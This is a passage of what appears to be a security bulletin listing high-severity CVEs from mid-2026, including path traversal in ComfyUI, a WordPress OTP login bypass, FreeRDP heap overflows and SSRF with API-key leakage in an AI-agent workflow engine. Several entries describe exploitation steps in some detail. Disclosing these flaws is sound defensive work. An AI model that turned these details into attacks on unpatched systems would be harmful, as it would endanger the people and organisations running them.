| Comfy-Org--ComfyUI                                           | ComfyUI is a modular diffusion model GUI, api and backend with a graph/nodes interface. Prior to 0.28.0, get_model_preview in app/model_manager.py joins an unrestricted filename route capture to a selected model directory without a containment check, allowing an unauthenticated remote attacker to use traversal, encoded traversal, absolute paths, or an unbounded path_index to read image-decodable files and enumerate host paths. get_model_preview (app/model_manager.py) built the path with os.path.join(folder, filename) where filename is an unrestricted {filename:*} route capture. Literal ../, percent-encoded %2e%2e%2f, and absolute paths all escaped the model directory; path_index was also unbounded. The target file is piped through Pillow and re-encoded as WEBP, so disclosure is limited to image-decodable files plus a file-existence/enumeration oracle (and internal-path leakage via path_index errors). This issue is fixed in version 0.28.0. | 2026-07-31 | 7.5        | <a href="#">CVE-2026-56671</a> |
| Comfy-Org--ComfyUI                                           | ComfyUI is a modular diffusion model GUI, API, and backend with a graph-and-node interface. Prior to 0.28.0, folder_paths.get_annotated_filepath and exists_annotated_filepath join workflow-controlled annotated filenames to a base                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-31 | 7.5        | <a href="#">CVE-2026-56673</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                 | directory without a containment check, allowing an unauthenticated crafted POST /prompt workflow using LoadImage or sibling nodes to probe arbitrary host paths and exfiltrate image-format files through /view. LoadImage defines a VALIDATE_INPUTS method, which causes the execution engine to skip COMBO (input-directory) validation. Affected nodes include LoadImage, LoadImageMask, LoadImageOutput, LoadAudio, LoadLatent, LoadVideo, and Load3D. This issue is fixed in version 0.28.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| copier-org--copier                                                                              | Copier is a library and CLI app for rendering project templates. From 9.5.0 through 9.16.0, percent-encoded parent-directory segments or encoded path separators in a template URL can match a configured trusted repository prefix before an HTTP server or Git transport decodes the path, allowing unsafe template features from a repository outside the trusted prefix to run after user interaction. This issue is fixed in version 9.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-31 | 7.5        | <a href="#">CVE-2026-62999</a> |
| coturn--coturn                                                                                  | Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.15.0, a server using --mobility authenticates a resumed REFRESH request with the resuming user's credentials but does not verify that identity against the original allocation owner, allowing an authenticated attacker who obtains a victim MOBILITY-TICKET to receive and inject relayed traffic and consume the victim's quota. In the handle_turn_refresh resume branch, the victim allocation (orig_ss) is located solely by the attacker-controlled mobile id, and credentials are only adopted (via copy_auth_parameters) when the resuming session is unauthenticated. Because the attacker's session already has hmackey_set set to 1 from its own prior authentication (which is never reset for long-term-credential sessions), the credential copy is skipped and check_stun_auth validates the REFRESH against the attacker's own identity rather than the allocation owner's. This issue is fixed in version 4.15.0. | 2026-07-31 | 7.1        | <a href="#">CVE-2026-65981</a> |
| Cozmoslabs--Paid Member Subscriptions                                                           | Subscriber Insecure Direct Object References (IDOR) in Paid Member Subscriptions <= 3.0.7 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59539</a> |
| cozyvision1--SMS Alert SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery | The SMS Alert - SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to Authentication Bypass leading to Account Takeover in all versions up to, and including, 3.9.7 via the 'billing_phone' parameter. This is due to the 'processRegistration()' function using a phone-unbound '\$_SESSION['sa_mobile_verified']' boolean flag as the sole gate before issuing an authentication cookie - the flag is set to 'true' after any successful OTP validation without being bound to the specific phone number that was verified. This makes it possible for unauthenticated attackers to complete OTP verification for a phone number they control, then resubmit the registration request with a victim's 'billing_phone' value to have 'wp_set_auth_cookie()' called for the resolved victim account, enabling full authentication as any existing WordPress user whose registered phone number is known or guessable, including administrators.            | 2026-07-28 | 9.8        | <a href="#">CVE-2026-15014</a> |
| Cribl--Cribl Stream                                                                             | Improper control of generation of code in the JSON Pointer-to-accessor compiler in Cribl Stream before 4.18.2 allows a remote authenticated attacker with edit privileges to execute arbitrary JavaScript on the server via a crafted database connection identifier or pack configuration value.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 8.8        | <a href="#">CVE-2026-56747</a> |
| Cribl--Cribl Stream                                                                             | Improper validation of symbolic links in the Pack Git import feature in Cribl Stream before 4.18.2 allows a remote authenticated attacker with Pack import and pipeline preview permissions to execute arbitrary code as the Cribl server process via a crafted Git repository containing a symbolic link in the pack's functions directory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 8.8        | <a href="#">CVE-2026-56748</a> |
| cubewp1211--CubeWP Framework                                                                    | The CubeWP Framework plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.30 via the 'cubewp_get_svg_content' function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. This is exploitable by unauthenticated attackers because the required nonce is publicly emitted into the markup of any page rendering the CubeWP posts shortcode or widget with AJAX loading enabled, making it harvestable by any guest visitor before submitting the AJAX request.                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-08-01 | 7.5        | <a href="#">CVE-2026-13339</a> |
| Dassault Systmes--Station Launcher App in 3DEXPERIENCE platform                                 | A Deserialization of Untrusted Data vulnerability affecting Station Launcher App in 3DEXPERIENCE platform from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2026x could lead to an unauthenticated remote code execution.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 10         | <a href="#">CVE-2026-11756</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| DaveGamble--cJSON                                                    | cJSON through 1.7.19 is vulnerable to uncontrolled recursion leading to stack exhaustion when an untrusted RFC 6902 JSON Patch is applied via cJSONUtils_ApplyPatches() or cJSONUtils_ApplyPatchesCaseSensitive(). A patch containing add and copy operations grafts duplicated subtrees to amplify document depth beyond the parser's nesting limit: cJSON_Delete() recurses with no depth bound, and the cJSON_Duplicate() guard cJSON_CIRCULAR_LIMIT is set to 10000, ten times the parser's 1000-level nesting limit and high enough to overflow a default thread stack. An attacker who can supply the patch document can crash the process, resulting in denial of service.                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 7.5        | <a href="#">CVE-2026-67215</a> |
| delvedor--find-my-way                                                | find-my-way is a framework-independent HTTP router that internally uses a Radix Tree and supports route parameters and wildcards. Versions prior to 9.7.0 are vulnerable to remotely triggerable DoS in find-my-way when it is used with Node's HTTP/2 server. The lookup() function passes req.method into find(), and find() indexes this.trees[method]. Since this.trees is a normal object, HTTP/2 method values like constructor, toString, or __proto__ can resolve inherited object properties instead of returning undefined. The code then treats that value like a router node and crashes when it reaches currentNode.prefix.length. This issue has been fixed in version 9.0.7.                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 7.5        | <a href="#">CVE-2026-47219</a> |
| deveasel--Demi One Click Demo Import, Backup & Site Migration        | The Demi - One Click Demo Import, WP Backup & Site Migration plugin for WordPress is vulnerable to Arbitrary Directory Deletion in all versions up to, and including, 0.0.7. The vulnerability exists because the plugin stores its HMAC signing key and per-step restore token as dotfiles inside a publicly accessible subdirectory of the WordPress uploads folder - without any .htaccess or index file protection - and the `demi_restore_step` AJAX handler, registered for unauthenticated callers, explicitly accepts possession of the on-disk signing key as a standalone alternative to WordPress capability and nonce checks; an unauthenticated attacker who retrieves the exposed key can forge a valid signed state envelope to invoke `CleanDir::execute()` with a caller-supplied absolute path that is subject to no allow-list or path-canonicalization check. This makes it possible for unauthenticated attackers to recursively delete arbitrary directories on the server. | 2026-07-28 | 7.5        | <a href="#">CVE-2026-14490</a> |
| dfir-iris--iris-web                                                  | The IRIS web application in version 2.4.26 and possibly others is vulnerable to stored cross-site scripting (XSS) in the assets function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 7.6        | <a href="#">CVE-2026-16969</a> |
| dfir-iris--iris-web                                                  | The IRIS web application in version 2.4.26 and possibly others is vulnerable to stored cross-site scripting (XSS) in the custom attributes function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 7.6        | <a href="#">CVE-2026-18360</a> |
| dfir-iris--iris-web                                                  | The IRIS web application in version 2.4.26 and possibly others is vulnerable to stored cross-site scripting (XSS) in the datastore upload function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 7.6        | <a href="#">CVE-2026-18361</a> |
| dromara--MaxKey                                                      | MaxKey through 4.1.12, fixed in commit ddbb72f, contains an insufficient redirect URI validation vulnerability in DefaultRedirectResolver.hostMatches() that allows remote attackers to hijack OAuth 2.0 authorization codes by supplying a crafted redirect_uri whose hostname suffix matches a registered URI without proper dot-boundary anchoring. Attackers who control a domain ending with the registered redirect URI hostname can social-engineer victims into clicking a crafted authorization URL, causing the authorization code to be issued to the attacker-controlled URI and exchanged for an access token granting access to the victim's identity.                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 8.1        | <a href="#">CVE-2026-67345</a> |
| duracelltomi--GTM4WP A Google Tag Manager (GTM) plugin for WordPress | The GTM4WP - A Google Tag Manager (GTM) plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via WooCommerce Billing Fields in all versions up to, and including, 1.22.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the GTM4WP WooCommerce order data integration option (GTM4WP_OPTION_INTEGRATE_WCORDERDATA) to be enabled, and is exploited by placing a guest checkout order with a JavaScript payload in a WooCommerce billing field such as the billing first name.                                                                                                                                                                                                                                                                                             | 2026-07-29 | 7.2        | <a href="#">CVE-2026-16597</a> |
| e107inc--e107                                                        | e107 prior to version 2.3.8 contains a code execution vulnerability in the e_array deserialization handler that allows an attacker with out-of-band database write access to execute arbitrary PHP code by storing a crafted payload in the user_prefs column. The e_array::unserialize() function in e107_handlers/core_functions.php performs only a prefix check for the string 'array' before passing the stored value to eval(), causing automatic PHP execution whenever the affected user's preferences are materialized through e_user_pref::load().                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-30 | 7.5        | <a href="#">CVE-2026-57859</a> |
| Eaton--PADM                                                          | Improper input validation in the authentication component of Eaton's Tripp Lite series PADM firmware could allow an unauthenticated remote attacker to bypass authentication and gain a privileged user access to the device.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-30 | 8.6        | <a href="#">CVE-2026-22620</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Eaton--PADM                                                                           | Improper input validation in one of the session management interface of Eaton's Tripp Lite Series PADM firmware could allow an authenticated administrator to execute arbitrary commands within a restricted environment.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 8.3        | <a href="#">CVE-2026-22621</a> |
| Eaton--PADM                                                                           | Improper input validation in one of the session management interface of Eaton's Tripp Lite series PADM firmware could allow an authenticated user to elevate privileges resulting in unrestricted access to the device.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 8.8        | <a href="#">CVE-2026-22622</a> |
| eazyplugins--Eazy Plugin Manager<br>Powerful Plugin Management Solution for WordPress | The Eazy Plugin Manager - Powerful Plugin Management Solution for WordPress plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.4.1. This is due to insufficient authorization on the `wp_ajax_pos_get_option` AJAX handler, which verifies only a nonce that is localized to every logged-in admin-area user via `admin_enqueue_scripts` - without any capability check - before returning the value of any arbitrary WordPress option via `get_option()`, combined with the `admin_login_endpoint_handler` REST endpoint (`GET /wp-json/epm/v1/admin/login`) being registered as publicly accessible and authenticating callers solely by a whirlpool hash of values stored in those same options. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the `site_url`, `connection_key`, and `remote_user_id` values stored in the `eazywp_connecting_info` and `eazywp_connection` options, compute the required `auth_key`, call the `admin/login` REST endpoint to obtain Administrator authentication cookies, and fully take over the site. Exploitation requires the plugin's remote connection feature to have been configured, as the `eazywp_connecting_info` and `eazywp_connection` options must be populated with valid credentials. | 2026-07-28 | 8.8        | <a href="#">CVE-2026-14328</a> |
| epsiloncool--WP Fast Total Search<br>The Power of Indexed Search                      | The WP Fast Total Search - The Power of Indexed Search plugin for WordPress is vulnerable to generic SQL Injection via the `form_data[s]` parameter in all versions up to, and including, 1.80.280 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-28 | 7.5        | <a href="#">CVE-2026-12741</a> |
| fast-uri--fast-uri                                                                    | fast-uri before 4.1.2, 3.1.5, and 2.4.4 requires a literal double forward slash to recognize a URI authority, so a reference that uses a backslash based introducer in place of it (backslash backslash, forward slash backslash, or backslash forward slash) is parsed with no authority and folds into the path. Node's native WHATWG URL parser instead treats a backslash as interchangeable with a forward slash for special schemes, so the two parsers extract different hosts from the same input. Applications that use fast-uri to enforce host based policy such as allowlists, SSRF filtering, or redirect validation before passing the same URL into Node's URL or fetch consumers can be steered to an unintended host. Upgrade to fast-uri 4.1.2, 3.1.5, or 2.4.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-31 | 7.5        | <a href="#">CVE-2026-18446</a> |
| fleekdash--FleekDash V2                                                               | The FleekDash V2 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.6.2.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the email address and password of any WordPress user, including administrators, enabling full account takeover and complete site compromise. The public /wp-json/fleekdash/v1/register endpoint auto-provisions a Subscriber-role account and returns a valid REST nonce regardless of the site's users_can_register setting, enabling unauthenticated attackers to self-provision the required credentials and nonce in a single prior request.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 8.8        | <a href="#">CVE-2026-14356</a> |
| flytohub--flyto-core                                                                  | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled output_dir instead of validate_path_with_env_config and its FLYTO_SANDBOX_DIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-29 | 10         | <a href="#">CVE-2026-67429</a> |
| flytohub--flyto-core                                                                  | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the standalone flyto-verification service in src/core/verification_service.py exposes unauthenticated POST /run on 0.0.0.0:8344 and uses client-supplied callback_url for an outbound POST with X-Internal-Key: \$FLYTO_RUNNER_SECRET while bypassing target_allowed, allowing unauthenticated SSRF and runner secret exfiltration. This issue is fixed in version 2.26.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 9.3        | <a href="#">CVE-2026-67426</a> |
| flytohub--flyto-core                                                                  | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, the HTTP modules http.get, http.request, and http.batch in src/core/modules/atomic/http/get.py, src/core/modules/atomic/http/request.py,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 8.5        | <a href="#">CVE-2026-67424</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | and src/core/modules/atomic/http/batch.py validate only the initial URL, then follow redirects with allow_redirects=True and without per-hop Location revalidation, allowing a public URL to redirect into internal address space and return the internal response body. This issue is fixed in version 2.26.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| flytohub--flyto-core      | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAI_API_KEY and ANTHROPIC_API_KEY from the environment and sends them in the Authorization: Bearer header to caller-controlled base_url, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 8.6        | <a href="#">CVE-2026-67425</a> |
| flytohub--flyto-core      | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, the workflow engine variable resolver expands \${env.VAR} for any host environment variable without an allowlist or capability policy check, allowing a workflow parameter to bypass the default capability policy denylist for env.get and env.load_dotenv and exfiltrate secrets through allowed modules. This issue is fixed in version 2.26.6.                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-29 | 8.6        | <a href="#">CVE-2026-67427</a> |
| flytohub--flyto-core      | Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.7, HTTP-emitting modules including src/core/modules/third_party/developer/http/requests.py, core.api.http_get, core.api.http_post, graphql.query, graphql.mutation, monitor.http_check, communication.slack_send, notification.discord.send_message, notification.slack.send_message, notification.teams.send_message, ai.vision_analyze, verify.visual_diff, browser.proxy_rotate, and the agent and llm inline base_url branch fetch caller-controlled URLs without validate_url_with_env_config, allowing SSRF to internal or metadata endpoints. This issue is fixed in version 2.26.7.                                                                                                                                                                  | 2026-07-29 | 8.5        | <a href="#">CVE-2026-67428</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 (affected versions <= 3.28.0) contains multiple TLS certificate identity validation weaknesses in tls_verify_certificate(), tls_match_hostname(), and x509_utils_get_dns_names(). Because FreeRDP performs custom Common Name and DNS SAN string matching instead of using OpenSSL's length-aware identity validation APIs, it (1) truncates DNS SAN values at embedded NUL bytes (accepting e.g. 'victim.example\0.attacker.example' as 'victim.example'), (2) accepts a matching Common Name even when non-matching DNS SAN entries are present, and (3) accepts IP-literal targets via DNS/CN matching without comparing IPAddress SANs. Under a trusted or misissued certificate chain, an attacker positioned to present such a certificate can bypass server identity verification, weakening TLS server authentication. | 2026-08-01 | 9.8        | <a href="#">CVE-2026-66402</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 (affected versions <= 3.28.0) does not validate CRLF and control characters in the server-controlled RDP redirection TargetNetAddress field. This value is copied into the client's ServerHostname and, when the client connects through an HTTP proxy, is written directly into the proxy CONNECT request line and Host header by http_proxy_connect() without filtering. A malicious or compromised RDP server can send a crafted redirection PDU containing embedded control characters to inject arbitrary headers/requests into the HTTP proxy CONNECT request.                                                                                                                                                                                                                                                           | 2026-08-01 | 9.8        | <a href="#">CVE-2026-67289</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.30.0 (<= 3.29.0) contains a heap-based buffer overflow in the Windows clipboard client's ClipdrStream_Read function (client/Windows/wf_clipdr.c). When an OLE paste consumer (e.g. explorer.exe) calls IStream::Read with a fixed-size buffer of cb bytes, ClipdrStream_Read requests file contents from the RDP server and then copies the response into the caller's buffer using the server-supplied length (req_fsize) instead of cb. A malicious or compromised RDP server can return an oversized CB_FILECONTENTS_RESPONSE, causing an out-of-bounds write of attacker-controlled data into the paste consumer's heap buffer when a user pastes server-offered clipboard file contents.                                                                                                                                       | 2026-08-02 | 9.6        | <a href="#">CVE-2026-68579</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains a null pointer dereference vulnerability in smartcard cache request decoders that accept NULL NDR pointers for LookupName in SCARD_IOCTL_READCACHEDATA and SCARD_IOCTL_WRITECACHEDATA operations. When smartcard emulation is enabled, attackers can send crafted smartcard cache requests with NULL lookup-name pointers to trigger strlen() on a null pointer, causing client process termination.                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67288</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains a heap out-of-bounds read vulnerability in the TSMF Ffmpeg decoder when parsing AVC1 MPEG2VIDEOINFO media types with insufficient ExtraData. Attackers can send malformed media format data from a                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67290</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | server to trigger a crash by reading fixed offsets without validating source buffer length.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 (affected versions <= 3.28.0) contains a heap out-of-bounds read in update_process_glyph_fragments()/glyph_cache_fragment_put() in libfreerdp/cache/glyph.c. When handling a GLYPH_FRAGMENT_ADD update, the code reads a one-byte server-controlled declared fragment size but does not verify it fits within the remaining received buffer before allocating and copying that many bytes. A malicious RDP server can send a short fragment with an oversized declared size, causing the client to read beyond the allocated buffer, resulting in an out-of-bounds read and client crash.                                                                                                                                                                                      | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67291</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains a denial of service vulnerability in the RDPEI server channel handler that fails to validate maximum PDU body length before stream allocation. A malicious RDP client can send a header-only RDPEI message with a large declared body length to force excessive memory allocation on the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67296</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 fails to enforce the RESPONSE_SIZE_LIMIT when processing Transfer-Encoding: chunked HTTP responses in http_response_rcv_body(). Attackers controlling a malicious RD Gateway endpoint can send oversized chunked response bodies to exhaust client memory resources without triggering the configured size limit.                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67297</a> |
| FreeRDP--FreeRDP          | FreeRDP versions 3.28.0 and earlier contain a heap buffer overflow in the server-side RAIL channel handler (rail_server_handle_messages()) in channels/rail/server/rail_main.c). When processing a RAIL PDU header, the code subtracts RAIL_PDU_HEADER_LENGTH from the peer-controlled orderLength field without first verifying orderLength is at least the header length. For orderLength values 0..3 this causes an unsigned integer underflow to a very large size, which bypasses the Stream_EnsureRemainingCapacity() capacity check (due to pointer arithmetic wraparound) and is then passed to WTSVirtualChannelRead(), resulting in an out-of-bounds heap write. A malicious or compromised RDP client can exploit this to corrupt the heap and crash the server. Fixed in FreeRDP 3.29.0. | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67298</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains a client-side heap use-after-free in the async update message proxy for WINDOW_ICON_ORDER when AsyncUpdate is enabled (e.g. xfreerdp /async-update). In update_message_WindowIcon() a shallow CopyMemory() overwrites a freshly allocated IParam->iconInfo with the parser-owned windowIcon->iconInfo pointer. After the parser callback returns, update_rcv_window_info_order() frees window_icon.iconInfo, but the queued async message still retains and later dispatches that stale pointer. A malicious or compromised RDP server sending a crafted RAIL Window Alternate Secondary Order with WINDOW_ORDER_ICON can trigger use-after-free, leading to memory corruption and client crash.                                                                      | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67299</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains client-side heap use-after-free vulnerabilities in the async update message proxy for RAIL WINDOW_STATE_ORDER and NOTIFY_ICON_STATE_ORDER when AsyncUpdate is enabled. When a malicious or compromised RDP server sends crafted update orders, the message proxy shallow-copies structures containing nested parser-owned pointers (e.g., titleInfo.string, windowRects, visibilityRects, icon buffers). The parser frees those nested buffers after the callback returns, so the queued async message later dispatches stale pointers, potentially causing memory corruption or a client crash.                                                                                                                                                                      | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67300</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains out-of-bounds read vulnerabilities in the async update message proxy for the PolygonSC and PolygonCB primary drawing orders. When AsyncUpdate is enabled (e.g., xfreerdp /async-update), update_message_PolygonSC() and update_message_PolygonCB() allocate a fresh points array but copy point data from the address of the order structure instead of from polygonSC->points / polygonCB->points, resulting in a client-side out-of-bounds read. A malicious or compromised RDP server sending crafted PolygonSC/PolygonCB update orders can trigger memory disclosure or a client crash.                                                                                                                                                                           | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67301</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains a null pointer dereference vulnerability in smartcard device control request cleanup when reader-state decoding fails. Attackers can send malformed smartcard IRP requests with non-zero cReaders and truncated reader-state data to crash the process via null pointer access in free_reader_states functions.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67304</a> |
| FreeRDP--FreeRDP          | FreeRDP before 3.29.0 contains integer overflow vulnerabilities in the audio input redirection channel (audin) across ALSA, sndio, WinMM, and OpenSL ES backends that fail to validate the FramesPerPacket parameter from RDP servers. Attackers can supply a malicious FramesPerPacket value causing allocation size wraparound,                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-08-02 | 7.5        | <a href="#">CVE-2026-68580</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                           | resulting in heap-based buffer overflow on ALSA or denial of service on all platforms.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| FTC Software IT Services--FTC E-Commerce Management Panel | Missing authentication for critical function vulnerability in FTC Software IT Services FTC E-Commerce Management Panel allows Authentication Bypass. This issue affects FTC E-Commerce Management Panel: before 1.0.2.                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 8.2        | <a href="#">CVE-2026-12722</a> |
| GeneralSandman--TinyWeb                                   | TinyWeb through 0.0.8 contains a memory leak vulnerability that allows unauthenticated attackers to exhaust available memory by sending ordinary well-formed HTTP requests. Each request causes HttpParser::execute() to allocate Url objects, HttpHeaders objects, and HttpHeaders instances via raw new expressions that are never freed due to missing destructors and unreachable delete calls, causing worker resident memory to grow monotonically by approximately 20 to 28 kB per request until the worker process is killed.                                                                                    | 2026-07-28 | 7.5        | <a href="#">CVE-2026-67183</a> |
